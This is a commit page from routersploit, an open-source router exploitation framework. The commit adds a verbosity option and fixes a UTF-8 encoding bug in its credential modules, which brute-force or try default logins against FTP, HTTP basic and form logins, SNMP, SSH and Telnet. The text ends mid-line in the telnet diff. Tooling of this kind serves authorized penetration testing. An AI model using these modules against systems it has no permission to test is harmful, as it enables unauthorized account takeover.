Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
7d5e78cd
Commit
7d5e78cd
authored
Apr 19, 2016
by
Marcin Bury
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Adding verbosity level to creds modules. Fixing encoding problem with basic auth.
parent
ba3ffc4f
Hide whitespace changes
Inline
Side-by-side
Showing
11 changed files
with
92 additions
and
63 deletions
+92
-63
ftp_bruteforce.py
routersploit/modules/creds/ftp_bruteforce.py
+9
-6
ftp_default.py
routersploit/modules/creds/ftp_default.py
+9
-6
http_basic_bruteforce.py
routersploit/modules/creds/http_basic_bruteforce.py
+9
-6
http_basic_default.py
routersploit/modules/creds/http_basic_default.py
+9
-6
http_form_bruteforce.py
routersploit/modules/creds/http_form_bruteforce.py
+7
-4
http_form_default.py
routersploit/modules/creds/http_form_default.py
+7
-4
snmp_bruteforce.py
routersploit/modules/creds/snmp_bruteforce.py
+16
-7
ssh_bruteforce.py
routersploit/modules/creds/ssh_bruteforce.py
+2
-2
ssh_default.py
routersploit/modules/creds/ssh_default.py
+6
-10
telnet_bruteforce.py
routersploit/modules/creds/telnet_bruteforce.py
+9
-6
telnet_default.py
routersploit/modules/creds/telnet_default.py
+9
-6
No files found.
routersploit/modules/creds/ftp_bruteforce.py
View file @
7d5e78cd
...
@@ -11,6 +11,7 @@ from routersploit import (
...
@@ -11,6 +11,7 @@ from routersploit import (
LockedIterator
,
LockedIterator
,
print_success
,
print_success
,
print_table
,
print_table
,
boolify
,
)
)
...
@@ -32,6 +33,7 @@ class Exploit(exploits.Exploit):
...
@@ -32,6 +33,7 @@ class Exploit(exploits.Exploit):
threads
=
exploits
.
Option
(
8
,
'Number of threads'
)
threads
=
exploits
.
Option
(
8
,
'Number of threads'
)
usernames
=
exploits
.
Option
(
'admin'
,
'Username or file with usernames (file://)'
)
usernames
=
exploits
.
Option
(
'admin'
,
'Username or file with usernames (file://)'
)
passwords
=
exploits
.
Option
(
wordlists
.
passwords
,
'Password or file with passwords (file://)'
)
passwords
=
exploits
.
Option
(
wordlists
.
passwords
,
'Password or file with passwords (file://)'
)
verbosity
=
exploits
.
Option
(
'yes'
,
'Display authentication attempts'
)
credentials
=
[]
credentials
=
[]
...
@@ -70,9 +72,10 @@ class Exploit(exploits.Exploit):
...
@@ -70,9 +72,10 @@ class Exploit(exploits.Exploit):
print_error
(
"Credentials not found"
)
print_error
(
"Credentials not found"
)
def
target_function
(
self
,
running
,
data
):
def
target_function
(
self
,
running
,
data
):
module_verbosity
=
boolify
(
self
.
verbosity
)
name
=
threading
.
current_thread
()
.
name
name
=
threading
.
current_thread
()
.
name
print_status
(
name
,
'process is starting...'
)
print_status
(
name
,
'process is starting...'
,
verbose
=
module_verbosity
)
ftp
=
ftplib
.
FTP
()
ftp
=
ftplib
.
FTP
()
while
running
.
is_set
():
while
running
.
is_set
():
...
@@ -89,22 +92,22 @@ class Exploit(exploits.Exploit):
...
@@ -89,22 +92,22 @@ class Exploit(exploits.Exploit):
ftp
.
connect
(
self
.
target
,
port
=
int
(
self
.
port
),
timeout
=
10
)
ftp
.
connect
(
self
.
target
,
port
=
int
(
self
.
port
),
timeout
=
10
)
break
break
except
socket
.
error
,
socket
.
timeout
:
except
socket
.
error
,
socket
.
timeout
:
print_error
(
"{} Connection problem. Retrying..."
.
format
(
name
))
print_error
(
"{} Connection problem. Retrying..."
.
format
(
name
)
,
verbose
=
module_verbosity
)
retries
+=
1
retries
+=
1
if
retries
>
2
:
if
retries
>
2
:
print_error
(
"Too much connection problems. Quiting..."
)
print_error
(
"Too much connection problems. Quiting..."
,
verbose
=
module_verbosity
)
return
return
try
:
try
:
ftp
.
login
(
user
,
password
)
ftp
.
login
(
user
,
password
)
running
.
clear
()
running
.
clear
()
print_success
(
"{}: Authentication succeed!"
.
format
(
name
),
user
,
password
)
print_success
(
"{}: Authentication succeed!"
.
format
(
name
),
user
,
password
,
verbose
=
module_verbosity
)
self
.
credentials
.
append
((
user
,
password
))
self
.
credentials
.
append
((
user
,
password
))
except
:
except
:
print_error
(
name
,
"Authentication Failed - Username: '{}' Password: '{}'"
.
format
(
user
,
password
))
print_error
(
name
,
"Authentication Failed - Username: '{}' Password: '{}'"
.
format
(
user
,
password
)
,
verbose
=
module_verbosity
)
ftp
.
close
()
ftp
.
close
()
print_status
(
name
,
'process is terminated.'
)
print_status
(
name
,
'process is terminated.'
,
verbose
=
module_verbosity
)
routersploit/modules/creds/ftp_default.py
View file @
7d5e78cd
...
@@ -10,6 +10,7 @@ from routersploit import (
...
@@ -10,6 +10,7 @@ from routersploit import (
LockedIterator
,
LockedIterator
,
print_success
,
print_success
,
print_table
,
print_table
,
boolify
,
)
)
...
@@ -30,6 +31,7 @@ class Exploit(exploits.Exploit):
...
@@ -30,6 +31,7 @@ class Exploit(exploits.Exploit):
threads
=
exploits
.
Option
(
8
,
'Numbers of threads'
)
threads
=
exploits
.
Option
(
8
,
'Numbers of threads'
)
defaults
=
exploits
.
Option
(
wordlists
.
defaults
,
'User:Pass pair or file with default credentials (file://)'
)
defaults
=
exploits
.
Option
(
wordlists
.
defaults
,
'User:Pass pair or file with default credentials (file://)'
)
verbosity
=
exploits
.
Option
(
'yes'
,
'Display authentication attempts'
)
credentials
=
[]
credentials
=
[]
...
@@ -62,9 +64,10 @@ class Exploit(exploits.Exploit):
...
@@ -62,9 +64,10 @@ class Exploit(exploits.Exploit):
print_error
(
"Credentials not found"
)
print_error
(
"Credentials not found"
)
def
target_function
(
self
,
running
,
data
):
def
target_function
(
self
,
running
,
data
):
module_verbosity
=
boolify
(
self
.
verbosity
)
name
=
threading
.
current_thread
()
.
name
name
=
threading
.
current_thread
()
.
name
print_status
(
name
,
'process is starting...'
)
print_status
(
name
,
'process is starting...'
,
verbose
=
module_verbosity
)
ftp
=
ftplib
.
FTP
()
ftp
=
ftplib
.
FTP
()
while
running
.
is_set
():
while
running
.
is_set
():
...
@@ -81,22 +84,22 @@ class Exploit(exploits.Exploit):
...
@@ -81,22 +84,22 @@ class Exploit(exploits.Exploit):
ftp
.
connect
(
self
.
target
,
port
=
int
(
self
.
port
),
timeout
=
10
)
ftp
.
connect
(
self
.
target
,
port
=
int
(
self
.
port
),
timeout
=
10
)
break
break
except
:
except
:
print_error
(
"{} Connection problem. Retrying..."
.
format
(
name
))
print_error
(
"{} Connection problem. Retrying..."
.
format
(
name
)
,
verbose
=
module_verbosity
)
retries
+=
1
retries
+=
1
if
retries
>
2
:
if
retries
>
2
:
print_error
(
"Too much connection problems. Quiting..."
)
print_error
(
"Too much connection problems. Quiting..."
,
verbose
=
module_verbosity
)
return
return
try
:
try
:
ftp
.
login
(
user
,
password
)
ftp
.
login
(
user
,
password
)
running
.
clear
()
running
.
clear
()
print_success
(
"{}: Authentication succeed!"
.
format
(
name
),
user
,
password
)
print_success
(
"{}: Authentication succeed!"
.
format
(
name
),
user
,
password
,
verbose
=
module_verbosity
)
self
.
credentials
.
append
((
user
,
password
))
self
.
credentials
.
append
((
user
,
password
))
except
:
except
:
print_error
(
name
,
"Authentication Failed - Username: '{}' Password: '{}'"
.
format
(
user
,
password
))
print_error
(
name
,
"Authentication Failed - Username: '{}' Password: '{}'"
.
format
(
user
,
password
)
,
verbose
=
module_verbosity
)
ftp
.
close
()
ftp
.
close
()
print_status
(
name
,
'process is terminated.'
)
print_status
(
name
,
'process is terminated.'
,
verbose
=
module_verbosity
)
routersploit/modules/creds/http_basic_bruteforce.py
View file @
7d5e78cd
...
@@ -11,6 +11,7 @@ from routersploit import (
...
@@ -11,6 +11,7 @@ from routersploit import (
print_success
,
print_success
,
print_table
,
print_table
,
sanitize_url
,
sanitize_url
,
boolify
,
)
)
...
@@ -33,6 +34,7 @@ class Exploit(exploits.Exploit):
...
@@ -33,6 +34,7 @@ class Exploit(exploits.Exploit):
usernames
=
exploits
.
Option
(
'admin'
,
'Username or file with usernames (file://)'
)
usernames
=
exploits
.
Option
(
'admin'
,
'Username or file with usernames (file://)'
)
passwords
=
exploits
.
Option
(
wordlists
.
passwords
,
'Password or file with passwords (file://)'
)
passwords
=
exploits
.
Option
(
wordlists
.
passwords
,
'Password or file with passwords (file://)'
)
path
=
exploits
.
Option
(
'/'
,
'URL Path'
)
path
=
exploits
.
Option
(
'/'
,
'URL Path'
)
verbosity
=
exploits
.
Option
(
'yes'
,
'Display authentication attempts'
)
credentials
=
[]
credentials
=
[]
...
@@ -75,25 +77,26 @@ class Exploit(exploits.Exploit):
...
@@ -75,25 +77,26 @@ class Exploit(exploits.Exploit):
print_error
(
"Credentials not found"
)
print_error
(
"Credentials not found"
)
def
target_function
(
self
,
running
,
data
):
def
target_function
(
self
,
running
,
data
):
module_verbosity
=
boolify
(
self
.
verbosity
)
name
=
threading
.
current_thread
()
.
name
name
=
threading
.
current_thread
()
.
name
url
=
sanitize_url
(
"{}:{}{}"
.
format
(
self
.
target
,
self
.
port
,
self
.
path
))
url
=
sanitize_url
(
"{}:{}{}"
.
format
(
self
.
target
,
self
.
port
,
self
.
path
))
print_status
(
name
,
'process is starting...'
)
print_status
(
name
,
'process is starting...'
,
verbose
=
module_verbosity
)
while
running
.
is_set
():
while
running
.
is_set
():
try
:
try
:
user
,
password
=
data
.
next
()
user
,
password
=
data
.
next
()
user
=
user
.
strip
()
user
=
user
.
encode
(
'utf-8'
)
.
strip
()
password
=
password
.
strip
()
password
=
password
.
encode
(
'utf-8'
)
.
strip
()
r
=
requests
.
get
(
url
,
auth
=
(
user
,
password
))
r
=
requests
.
get
(
url
,
auth
=
(
user
,
password
))
if
r
.
status_code
!=
401
:
if
r
.
status_code
!=
401
:
running
.
clear
()
running
.
clear
()
print_success
(
"{}: Authentication succeed!"
.
format
(
name
),
user
,
password
)
print_success
(
"{}: Authentication succeed!"
.
format
(
name
),
user
,
password
,
verbose
=
module_verbosity
)
self
.
credentials
.
append
((
user
,
password
))
self
.
credentials
.
append
((
user
,
password
))
else
:
else
:
print_error
(
name
,
"Authentication Failed - Username: '{}' Password: '{}'"
.
format
(
user
,
password
))
print_error
(
name
,
"Authentication Failed - Username: '{}' Password: '{}'"
.
format
(
user
,
password
)
,
verbose
=
module_verbosity
)
except
StopIteration
:
except
StopIteration
:
break
break
print_status
(
name
,
'process is terminated.'
)
print_status
(
name
,
'process is terminated.'
,
verbose
=
module_verbosity
)
routersploit/modules/creds/http_basic_default.py
View file @
7d5e78cd
...
@@ -10,6 +10,7 @@ from routersploit import (
...
@@ -10,6 +10,7 @@ from routersploit import (
print_success
,
print_success
,
print_table
,
print_table
,
sanitize_url
,
sanitize_url
,
boolify
,
)
)
...
@@ -30,6 +31,7 @@ class Exploit(exploits.Exploit):
...
@@ -30,6 +31,7 @@ class Exploit(exploits.Exploit):
threads
=
exploits
.
Option
(
8
,
'Number of threads'
)
threads
=
exploits
.
Option
(
8
,
'Number of threads'
)
defaults
=
exploits
.
Option
(
wordlists
.
defaults
,
'User:Pass or file with default credentials (file://)'
)
defaults
=
exploits
.
Option
(
wordlists
.
defaults
,
'User:Pass or file with default credentials (file://)'
)
path
=
exploits
.
Option
(
'/'
,
'URL Path'
)
path
=
exploits
.
Option
(
'/'
,
'URL Path'
)
verbosity
=
exploits
.
Option
(
'yes'
,
'Display authentication attempts'
)
credentials
=
[]
credentials
=
[]
...
@@ -66,25 +68,26 @@ class Exploit(exploits.Exploit):
...
@@ -66,25 +68,26 @@ class Exploit(exploits.Exploit):
print_error
(
"Credentials not found"
)
print_error
(
"Credentials not found"
)
def
target_function
(
self
,
running
,
data
):
def
target_function
(
self
,
running
,
data
):
module_verbosity
=
boolify
(
self
.
verbosity
)
name
=
threading
.
current_thread
()
.
name
name
=
threading
.
current_thread
()
.
name
url
=
sanitize_url
(
"{}:{}{}"
.
format
(
self
.
target
,
self
.
port
,
self
.
path
))
url
=
sanitize_url
(
"{}:{}{}"
.
format
(
self
.
target
,
self
.
port
,
self
.
path
))
print_status
(
name
,
'process is starting...'
)
print_status
(
name
,
'process is starting...'
,
verbose
=
module_verbosity
)
while
running
.
is_set
():
while
running
.
is_set
():
try
:
try
:
line
=
data
.
next
()
.
split
(
":"
)
line
=
data
.
next
()
.
split
(
":"
)
user
=
line
[
0
]
.
strip
()
user
=
line
[
0
]
.
encode
(
'utf-8'
)
.
strip
()
password
=
line
[
1
]
.
strip
()
password
=
line
[
1
]
.
encode
(
'utf-8'
)
.
strip
()
r
=
requests
.
get
(
url
,
auth
=
(
user
,
password
))
r
=
requests
.
get
(
url
,
auth
=
(
user
,
password
))
if
r
.
status_code
!=
401
:
if
r
.
status_code
!=
401
:
running
.
clear
()
running
.
clear
()
print_success
(
"{}: Authentication succeed!"
.
format
(
name
),
user
,
password
)
print_success
(
"{}: Authentication succeed!"
.
format
(
name
),
user
,
password
,
verbose
=
module_verbosity
)
self
.
credentials
.
append
((
user
,
password
))
self
.
credentials
.
append
((
user
,
password
))
else
:
else
:
print_error
(
name
,
"Authentication Failed - Username: '{}' Password: '{}'"
.
format
(
user
,
password
))
print_error
(
name
,
"Authentication Failed - Username: '{}' Password: '{}'"
.
format
(
user
,
password
)
,
verbose
=
module_verbosity
)
except
StopIteration
:
except
StopIteration
:
break
break
print_status
(
name
,
'process is terminated.'
)
print_status
(
name
,
'process is terminated.'
,
verbose
=
module_verbosity
)
routersploit/modules/creds/http_form_bruteforce.py
View file @
7d5e78cd
...
@@ -12,6 +12,7 @@ from routersploit import (
...
@@ -12,6 +12,7 @@ from routersploit import (
print_success
,
print_success
,
print_table
,
print_table
,
sanitize_url
,
sanitize_url
,
boolify
,
)
)
...
@@ -34,6 +35,7 @@ class Exploit(exploits.Exploit):
...
@@ -34,6 +35,7 @@ class Exploit(exploits.Exploit):
passwords
=
exploits
.
Option
(
wordlists
.
passwords
,
'Password or file with passwords (file://)'
)
passwords
=
exploits
.
Option
(
wordlists
.
passwords
,
'Password or file with passwords (file://)'
)
form
=
exploits
.
Option
(
'auto'
,
'Post Data: auto or in form login={{LOGIN}}&password={{PASS}}&submit'
)
form
=
exploits
.
Option
(
'auto'
,
'Post Data: auto or in form login={{LOGIN}}&password={{PASS}}&submit'
)
path
=
exploits
.
Option
(
'/login.php'
,
'URL Path'
)
path
=
exploits
.
Option
(
'/login.php'
,
'URL Path'
)
verbosity
=
exploits
.
Option
(
'yes'
,
'Display authentication attempts'
)
credentials
=
[]
credentials
=
[]
data
=
""
data
=
""
...
@@ -134,11 +136,12 @@ class Exploit(exploits.Exploit):
...
@@ -134,11 +136,12 @@ class Exploit(exploits.Exploit):
return
'&'
.
join
(
res
)
return
'&'
.
join
(
res
)
def
target_function
(
self
,
running
,
data
):
def
target_function
(
self
,
running
,
data
):
module_verbosity
=
boolify
(
self
.
verbosity
)
name
=
threading
.
current_thread
()
.
name
name
=
threading
.
current_thread
()
.
name
url
=
sanitize_url
(
"{}:{}{}"
.
format
(
self
.
target
,
self
.
port
,
self
.
path
))
url
=
sanitize_url
(
"{}:{}{}"
.
format
(
self
.
target
,
self
.
port
,
self
.
path
))
headers
=
{
u'Content-Type'
:
u'application/x-www-form-urlencoded'
}
headers
=
{
u'Content-Type'
:
u'application/x-www-form-urlencoded'
}
print_status
(
name
,
'process is starting...'
)
print_status
(
name
,
'process is starting...'
,
verbose
=
module_verbosity
)
while
running
.
is_set
():
while
running
.
is_set
():
try
:
try
:
...
@@ -152,11 +155,11 @@ class Exploit(exploits.Exploit):
...
@@ -152,11 +155,11 @@ class Exploit(exploits.Exploit):
if
l
<
self
.
invalid
[
"min"
]
or
l
>
self
.
invalid
[
"max"
]:
if
l
<
self
.
invalid
[
"min"
]
or
l
>
self
.
invalid
[
"max"
]:
running
.
clear
()
running
.
clear
()
print_success
(
"{}: Authentication succeed!"
.
format
(
name
),
user
,
password
)
print_success
(
"{}: Authentication succeed!"
.
format
(
name
),
user
,
password
,
verbose
=
module_verbosity
)
self
.
credentials
.
append
((
user
,
password
))
self
.
credentials
.
append
((
user
,
password
))
else
:
else
:
print_error
(
name
,
"Authentication Failed - Username: '{}' Password: '{}'"
.
format
(
user
,
password
))
print_error
(
name
,
"Authentication Failed - Username: '{}' Password: '{}'"
.
format
(
user
,
password
)
,
verbose
=
module_verbosity
)
except
StopIteration
:
except
StopIteration
:
break
break
print_status
(
name
,
'process is terminated.'
)
print_status
(
name
,
'process is terminated.'
,
verbose
=
module_verbosity
)
routersploit/modules/creds/http_form_default.py
View file @
7d5e78cd
...
@@ -11,6 +11,7 @@ from routersploit import (
...
@@ -11,6 +11,7 @@ from routersploit import (
print_success
,
print_success
,
print_table
,
print_table
,
sanitize_url
,
sanitize_url
,
boolify
,
)
)
...
@@ -32,6 +33,7 @@ class Exploit(exploits.Exploit):
...
@@ -32,6 +33,7 @@ class Exploit(exploits.Exploit):
defaults
=
exploits
.
Option
(
wordlists
.
defaults
,
'User:Pass or file with default credentials (file://)'
)
defaults
=
exploits
.
Option
(
wordlists
.
defaults
,
'User:Pass or file with default credentials (file://)'
)
form
=
exploits
.
Option
(
'auto'
,
'Post Data: auto or in form login={{LOGIN}}&password={{PASS}}&submit'
)
form
=
exploits
.
Option
(
'auto'
,
'Post Data: auto or in form login={{LOGIN}}&password={{PASS}}&submit'
)
path
=
exploits
.
Option
(
'/login.php'
,
'URL Path'
)
path
=
exploits
.
Option
(
'/login.php'
,
'URL Path'
)
verbosity
=
exploits
.
Option
(
'yes'
,
'Display authentication attempts'
)
credentials
=
[]
credentials
=
[]
data
=
""
data
=
""
...
@@ -127,11 +129,12 @@ class Exploit(exploits.Exploit):
...
@@ -127,11 +129,12 @@ class Exploit(exploits.Exploit):
return
'&'
.
join
(
res
)
return
'&'
.
join
(
res
)
def
target_function
(
self
,
running
,
data
):
def
target_function
(
self
,
running
,
data
):
module_verbosity
=
boolify
(
self
.
verbosity
)
name
=
threading
.
current_thread
()
.
name
name
=
threading
.
current_thread
()
.
name
url
=
sanitize_url
(
"{}:{}{}"
.
format
(
self
.
target
,
self
.
port
,
self
.
path
))
url
=
sanitize_url
(
"{}:{}{}"
.
format
(
self
.
target
,
self
.
port
,
self
.
path
))
headers
=
{
u'Content-Type'
:
u'application/x-www-form-urlencoded'
}
headers
=
{
u'Content-Type'
:
u'application/x-www-form-urlencoded'
}
print_status
(
name
,
'process is starting...'
)
print_status
(
name
,
'process is starting...'
,
verbose
=
module_verbosity
)
while
running
.
is_set
():
while
running
.
is_set
():
try
:
try
:
...
@@ -145,11 +148,11 @@ class Exploit(exploits.Exploit):
...
@@ -145,11 +148,11 @@ class Exploit(exploits.Exploit):
if
l
<
self
.
invalid
[
"min"
]
or
l
>
self
.
invalid
[
"max"
]:
if
l
<
self
.
invalid
[
"min"
]
or
l
>
self
.
invalid
[
"max"
]:
running
.
clear
()
running
.
clear
()
print_success
(
"{}: Authentication succeed!"
.
format
(
name
),
user
,
password
)
print_success
(
"{}: Authentication succeed!"
.
format
(
name
),
user
,
password
,
verbose
=
module_verbosity
)
self
.
credentials
.
append
((
user
,
password
))
self
.
credentials
.
append
((
user
,
password
))
else
:
else
:
print_error
(
name
,
"Authentication Failed - Username: '{}' Password: '{}'"
.
format
(
user
,
password
))
print_error
(
name
,
"Authentication Failed - Username: '{}' Password: '{}'"
.
format
(
user
,
password
)
,
verbose
=
module_verbosity
)
except
StopIteration
:
except
StopIteration
:
break
break
print_status
(
name
,
'process is terminated.'
)
print_status
(
name
,
'process is terminated.'
,
verbose
=
module_verbosity
)
routersploit/modules/creds/snmp_bruteforce.py
View file @
7d5e78cd
import
threading
import
threading
import
netsnmp
import
netsnmp
from
routersploit.utils
import
print_status
,
print_success
,
print_error
,
print_table
,
LockedIterator
from
routersploit
import
(
from
routersploit
import
exploits
exploits
,
from
routersploit
import
wordlists
wordlists
,
print_status
,
print_error
,
LockedIterator
,
print_success
,
print_table
,
boolify
,
)
class
Exploit
(
exploits
.
Exploit
):
class
Exploit
(
exploits
.
Exploit
):
...
@@ -20,6 +27,7 @@ class Exploit(exploits.Exploit):
...
@@ -20,6 +27,7 @@ class Exploit(exploits.Exploit):
port
=
exploits
.
Option
(
161
,
'Target port'
)
port
=
exploits
.
Option
(
161
,
'Target port'
)
threads
=
exploits
.
Option
(
8
,
'Number of threads'
)
threads
=
exploits
.
Option
(
8
,
'Number of threads'
)
snmp
=
exploits
.
Option
(
wordlists
.
snmp
,
'Community string or file with community strings (file://)'
)
snmp
=
exploits
.
Option
(
wordlists
.
snmp
,
'Community string or file with community strings (file://)'
)
verbosity
=
exploits
.
Option
(
'yes'
,
'Display authentication attempts'
)
strings
=
[]
strings
=
[]
...
@@ -44,10 +52,11 @@ class Exploit(exploits.Exploit):
...
@@ -44,10 +52,11 @@ class Exploit(exploits.Exploit):
print_error
(
"Valid community strings not found"
)
print_error
(
"Valid community strings not found"
)
def
target_function
(
self
,
running
,
data
):
def
target_function
(
self
,
running
,
data
):
module_verbosity
=
boolify
(
self
.
verbosity
)
name
=
threading
.
current_thread
()
.
name
name
=
threading
.
current_thread
()
.
name
address
=
"{}:{}"
.
format
(
self
.
target
,
self
.
port
)
address
=
"{}:{}"
.
format
(
self
.
target
,
self
.
port
)
print_status
(
name
,
'thread is starting...'
)
print_status
(
name
,
'thread is starting...'
,
verbose
=
module_verbosity
)
while
running
.
is_set
():
while
running
.
is_set
():
try
:
try
:
...
@@ -58,12 +67,12 @@ class Exploit(exploits.Exploit):
...
@@ -58,12 +67,12 @@ class Exploit(exploits.Exploit):
if
res
[
0
]
is
not
None
:
if
res
[
0
]
is
not
None
:
running
.
clear
()
running
.
clear
()
print_success
(
"{}: Valid community string found!"
.
format
(
name
),
string
)
print_success
(
"{}: Valid community string found!"
.
format
(
name
),
string
,
verbose
=
module_verbosity
)
self
.
strings
.
append
(
tuple
([
string
]))
self
.
strings
.
append
(
tuple
([
string
]))
else
:
else
:
print_error
(
"{}: Invalid community string."
.
format
(
name
),
string
)
print_error
(
"{}: Invalid community string."
.
format
(
name
),
string
,
verbose
=
module_verbosity
)
except
StopIteration
:
except
StopIteration
:
break
break
print_status
(
name
,
'thread is terminated.'
)
print_status
(
name
,
'thread is terminated.'
,
verbose
=
module_verbosity
)
routersploit/modules/creds/ssh_bruteforce.py
View file @
7d5e78cd
...
@@ -31,7 +31,7 @@ class Exploit(exploits.Exploit):
...
@@ -31,7 +31,7 @@ class Exploit(exploits.Exploit):
threads
=
exploits
.
Option
(
8
,
'Number of threads'
)
threads
=
exploits
.
Option
(
8
,
'Number of threads'
)
usernames
=
exploits
.
Option
(
'admin'
,
'Username or file with usernames (file://)'
)
usernames
=
exploits
.
Option
(
'admin'
,
'Username or file with usernames (file://)'
)
passwords
=
exploits
.
Option
(
wordlists
.
passwords
,
'Password or file with passwords (file://)'
)
passwords
=
exploits
.
Option
(
wordlists
.
passwords
,
'Password or file with passwords (file://)'
)
verbosity
=
exploits
.
Option
(
True
,
'Display authentication attempts'
)
verbosity
=
exploits
.
Option
(
'yes'
,
'Display authentication attempts'
)
credentials
=
[]
credentials
=
[]
...
@@ -88,7 +88,7 @@ class Exploit(exploits.Exploit):
...
@@ -88,7 +88,7 @@ class Exploit(exploits.Exploit):
break
break
except
paramiko
.
ssh_exception
.
SSHException
as
err
:
except
paramiko
.
ssh_exception
.
SSHException
as
err
:
ssh
.
close
()
ssh
.
close
()
print_error
(
name
,
err
,
user
,
password
,
verbose
=
module_verbosity
)
print_error
(
name
,
err
,
"Username: '{}' Password: '{}'"
.
format
(
user
,
password
)
,
verbose
=
module_verbosity
)
else
:
else
:
running
.
clear
()
running
.
clear
()
...
...
routersploit/modules/creds/ssh_default.py
View file @
7d5e78cd
...
@@ -10,6 +10,7 @@ from routersploit import (
...
@@ -10,6 +10,7 @@ from routersploit import (
LockedIterator
,
LockedIterator
,
print_success
,
print_success
,
print_table
,
print_table
,
boolify
,
)
)
...
@@ -32,7 +33,6 @@ class Exploit(exploits.Exploit):
...
@@ -32,7 +33,6 @@ class Exploit(exploits.Exploit):
verbosity
=
exploits
.
Option
(
'yes'
,
'Display authentication attempts'
)
verbosity
=
exploits
.
Option
(
'yes'
,
'Display authentication attempts'
)
credentials
=
[]
credentials
=
[]
verb
=
None
def
run
(
self
):
def
run
(
self
):
self
.
credentials
=
[]
self
.
credentials
=
[]
...
@@ -54,7 +54,6 @@ class Exploit(exploits.Exploit):
...
@@ -54,7 +54,6 @@ class Exploit(exploits.Exploit):
else
:
else
:
defaults
=
[
self
.
defaults
]
defaults
=
[
self
.
defaults
]
self
.
verb
=
self
.
verbosity
.
lower
()
collection
=
LockedIterator
(
defaults
)
collection
=
LockedIterator
(
defaults
)
self
.
run_threads
(
self
.
threads
,
self
.
target_function
,
collection
)
self
.
run_threads
(
self
.
threads
,
self
.
target_function
,
collection
)
...
@@ -66,12 +65,12 @@ class Exploit(exploits.Exploit):
...
@@ -66,12 +65,12 @@ class Exploit(exploits.Exploit):
print_error
(
"Credentials not found"
)
print_error
(
"Credentials not found"
)
def
target_function
(
self
,
running
,
data
):
def
target_function
(
self
,
running
,
data
):
module_verbosity
=
boolify
(
self
.
verbosity
)
name
=
threading
.
current_thread
()
.
name
name
=
threading
.
current_thread
()
.
name
ssh
=
paramiko
.
SSHClient
()
ssh
=
paramiko
.
SSHClient
()
ssh
.
set_missing_host_key_policy
(
paramiko
.
AutoAddPolicy
())
ssh
.
set_missing_host_key_policy
(
paramiko
.
AutoAddPolicy
())
if
self
.
verb
==
'yes'
:
print_status
(
name
,
'process is starting...'
,
verbose
=
module_verbosity
)
print_status
(
name
,
'process is starting...'
)
while
running
.
is_set
():
while
running
.
is_set
():
try
:
try
:
...
@@ -84,15 +83,12 @@ class Exploit(exploits.Exploit):
...
@@ -84,15 +83,12 @@ class Exploit(exploits.Exploit):
except
paramiko
.
ssh_exception
.
SSHException
as
err
:
except
paramiko
.
ssh_exception
.
SSHException
as
err
:
ssh
.
close
()
ssh
.
close
()
if
self
.
verb
==
'yes'
:
print_error
(
name
,
err
,
"Username: '{}' Password: '{}'"
.
format
(
user
,
password
),
verbose
=
module_verbosity
)
print_error
(
name
,
err
,
"Username: '{}' Password: '{}'"
.
format
(
user
,
password
))
else
:
else
:
running
.
clear
()
running
.
clear
()
if
self
.
verb
==
'yes'
:
print_success
(
"{}: Authentication succeed!"
.
format
(
name
),
user
,
password
,
verbose
=
module_verbosity
)
print_success
(
"{}: Authentication succeed!"
.
format
(
name
),
user
,
password
)
self
.
credentials
.
append
((
user
,
password
))
self
.
credentials
.
append
((
user
,
password
))
if
self
.
verb
==
'yes'
:
print_status
(
name
,
'process is terminated.'
,
verbose
=
module_verbosity
)
print_status
(
name
,
'process is terminated.'
)
routersploit/modules/creds/telnet_bruteforce.py
View file @
7d5e78cd
...
@@ -10,6 +10,7 @@ from routersploit import (
...
@@ -10,6 +10,7 @@ from routersploit import (
LockedIterator
,
LockedIterator
,
print_success
,
print_success
,
print_table
,
print_table
,
boolify
,
)
)
...
@@ -29,6 +30,7 @@ class Exploit(exploits.Exploit):
...
@@ -29,6 +30,7 @@ class Exploit(exploits.Exploit):
threads
=
exploits
.
Option
(
8
,
'Number of threads'
)
threads
=
exploits
.
Option
(
8
,
'Number of threads'
)
usernames
=
exploits
.
Option
(
'admin'
,
'Username or file with usernames (file://)'
)
usernames
=
exploits
.
Option
(
'admin'
,
'Username or file with usernames (file://)'
)
passwords
=
exploits
.
Option
(
wordlists
.
passwords
,
'Password or file with passwords (file://)'
)
passwords
=
exploits
.
Option
(
wordlists
.
passwords
,
'Password or file with passwords (file://)'
)
verbosity
=
exploits
.
Option
(
'yes'
,
'Display authentication attempts'
)
credentials
=
[]
credentials
=
[]
...
@@ -64,9 +66,10 @@ class Exploit(exploits.Exploit):
...
@@ -64,9 +66,10 @@ class Exploit(exploits.Exploit):
print_error
(
"Credentials not found"
)
print_error
(
"Credentials not found"
)
def
target_function
(
self
,
running
,
data
):
def
target_function
(
self
,
running
,
data
):
module_verbosity
=
boolify
(
self
.
verbosity
)
name
=
threading
.
current_thread
()
.
name
name
=
threading
.
current_thread
()
.
name
print_status
(
name
,
'thread is starting...'
)
print_status
(
name
,
'thread is starting...'
,
verbose
=
module_verbosity
)
while
running
.
is_set
():
while
running
.
is_set
():
try
:
try
:
...
@@ -90,21 +93,21 @@ class Exploit(exploits.Exploit):
...
@@ -90,21 +93,21 @@ class Exploit(exploits.Exploit):
tn
.
close
()
tn
.
close
()
if
i
!=
-
1
:
if
i
!=
-
1
:
print_error
(
name
,
"Username: '{}' Password: '{}'"
.
format
(
user
,
password
))
print_error
(
name
,
"Username: '{}' Password: '{}'"
.
format
(
user
,
password
)
,
verbose
=
module_verbosity
)
else
:
else
:
if
any
(
map
(
lambda
x
:
x
in
res
,
[
"#"
,
"$"
,
">"
]))
or
len
(
res
)
>
500
:
# big banner e.g. mikrotik
if
any
(
map
(
lambda
x
:
x
in
res
,
[
"#"
,
"$"
,
">"
]))
or
len
(
res
)
>
500
:
# big banner e.g. mikrotik
running
.
clear
()
running
.
clear
()
print_success
(
"{}: Authentication succeed!"
.
format
(
name
),
user
,
password
)
print_success
(
"{}: Authentication succeed!"
.
format
(
name
),
user
,
password
,
verbose
=
module_verbosity
)
self
.
credentials
.
append
((
user
,
password
))
self
.
credentials
.
append
((
user
,
password
))
tn
.
